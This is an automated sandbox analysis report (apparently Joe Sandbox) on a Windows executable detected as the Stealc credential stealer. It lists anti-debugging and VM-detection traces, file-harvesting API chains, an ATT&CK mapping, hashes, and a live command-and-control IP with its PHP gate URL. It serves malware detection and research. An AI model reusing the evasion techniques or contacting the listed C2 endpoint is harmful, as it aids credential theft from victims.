Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7406AB second address: 7406BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8DCA19Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7408AE second address: 7408B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7408B2 second address: 7408B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7408B6 second address: 7408C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b jc 00007F46B8B98B06h 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40268 second address: 4D4026C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4026C second address: 4D40270 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40270 second address: 4D40276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40276 second address: 4D402F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F46B8B98B12h 0x00000009 or si, F2B8h 0x0000000e jmp 00007F46B8B98B0Bh 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F46B8B98B18h 0x0000001a sbb ecx, 46062D18h 0x00000020 jmp 00007F46B8B98B0Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 mov ebp, esp 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F46B8B98B14h 0x00000032 add esi, 4B1E1778h 0x00000038 jmp 00007F46B8B98B0Bh 0x0000003d popfd 0x0000003e push ecx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40343 second address: 4D40348 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40348 second address: 4D40379 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F46B8B98B0Eh 0x00000008 jmp 00007F46B8B98B12h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40379 second address: 4D403BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8DCA1A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F46B8DCA1A0h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F46B8DCA1A7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C723 second address: 66C727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C727 second address: 66C731 instructions: 0x00000000 rdtsc 0x00000002 je 00007F46B8DCA196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C731 second address: 66C737 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4C1B5F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 65D904 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002738B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_002738B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00274910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00274910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0026DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0026DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0026E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0026E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0026ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0026ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00274570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00274570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0026DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0026DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0026BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0026BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00273EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00273EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0026F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0026F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002616D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002616D0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00261160 GetSystemInfo,ExitProcess,

0_2_00261160

Source: file.exe, file.exe, 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1800007747.0000000000E69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWy
Source: file.exe, 00000000.00000002.1800007747.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware]
Source: file.exe, 00000000.00000002.1800007747.0000000000E83000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1800007747.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1800007747.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13481
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13484
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13535
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13495
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13503

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_002645C0 VirtualProtect ?,00000004,00000100,00000000

0_2_002645C0

Source: C:\Users\user\Desktop\file.exe

0_2_00279860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00279750 mov eax, dword ptr fs:[00000030h]

0_2_00279750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00277850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00277850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6960, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00279600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00279600

Source: file.exe, file.exe, 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: [Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00277B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00276920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00276920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00277850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00277850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00277A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00277A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1800007747.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1758315822.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6960, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1800007747.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1758315822.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6960, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.37/ws	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/n	file.exe, 00000000.00000002.1800007747.0000000000E69000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.1800007747.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.1800007747.0000000000E69000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37D~f	file.exe, 00000000.00000002.1800007747.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php3S	file.exe, 00000000.00000002.1800007747.0000000000E8C000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1532351
Start date and time:	2024-10-13 01:28:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 87
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946680839484712
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'801'216 bytes
MD5:	cfdd8a903441555e23417125bccc4e60
SHA1:	5ee09d72d09a587d1399d651d5e2d3e199899ae3
SHA256:	51104c217fb4ac57c1ef1071eaf80c801e17a2ca4c1b83a31d2d7a43b5f22671
SHA512:	2f05454ec5fdccc149959a39fba755223998a6c23828cef3fb893f70ceaed253d6ebee511356aeb315a73d77e839aef3bddde0e4fe6736be952adedd945aa853
SSDEEP:	24576:lKs9OT6FhNwzGxqIhUcoevXJ7/bJDq74o83qbwY+l7CicoU4k3UxICaS6:lbY6PCjzc5h9mE9aZ+leiVLmUxICaS
TLSH:	DE853319DE219AD9FD9DDB7599DD939C320C390938F8C06F3AC902F119EF30998225A7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa82000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F46B881826Ah
cvtps2pd xmm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
mov cl, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	80b4183b68f42c59f2ee0f1ffc50b7f3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x291000	0x200	df03a257ee8afef203b30ed611ae9d3e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nlvthzrj	0x4ef000	0x192000	0x191800	e9269cdb41391233bf5ce6e9b4baf296	False	0.9947395752257161	data	7.953408451979988	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
juspdwth	0x681000	0x1000	0x600	92062a77191b8171b21c876cd99f37be	False	0.5436197916666666	data	4.784590729125928	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x682000	0x3000	0x2200	98f548e7f9a51b76a41735ca0d0b59d5	False	0.09834558823529412	DOS executable (COM)	1.0625158259389011	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-13T01:29:11.939162+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49732	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
